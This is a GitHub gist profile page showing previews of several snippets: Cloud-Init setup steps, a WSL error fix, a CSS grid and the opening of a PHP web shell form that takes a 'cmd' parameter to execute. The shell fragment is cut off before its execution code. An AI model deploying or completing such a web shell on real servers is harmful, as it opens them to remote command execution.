Skip to content

Instantly share code, notes, and snippets.

View LudovicPatho's full-sized avatar

Patho Ludovic LudovicPatho

  • BeCode
  • localhost
View GitHub Profile
Prepare Cloud-Init Templates
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The first step is to prepare your VM. You can basically use any VM,
and simply install the Cloud-Init packages inside the VM you want to
prepare. On Debian/Ubuntu based systems this is as simple as:
----
apt-get install cloud-init
----
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@LudovicPatho
LudovicPatho / 0xc03a001.MD
Created October 7, 2020 18:40
How to fix the error : WslRegisterDistribution-0xc03a001

How to fix the error : WslRegisterDistribution-0xc03a001

You want to convert/create/import to wsl2 but you can't because you get this error message :

WslRegisterDistribution failed with error: 0xc03a001a Error: 0xc03a001a The requested operation could not be completed due to a virtual disk system limitation. Virtual hard disk files must be uncompressed and unencrypted and must not be sparse. To solve this problem, I performed the following operation:

  1. Go to the folder C:/Users//AppData/Local
  2. Find the Packages folder and right click.
  3. Check advanced options and disable compression.
  4. Run the wsl2 again(Ubuntu, Debian,...).
@LudovicPatho
LudovicPatho / css
Last active July 4, 2017 12:43
Veille Media queries
* {
box-sizing: border-box;
margin: 0px;
padding: 0px; }
.col-1 {
width: 8.33333%; }
.col-2 {
width: 16.66667%; }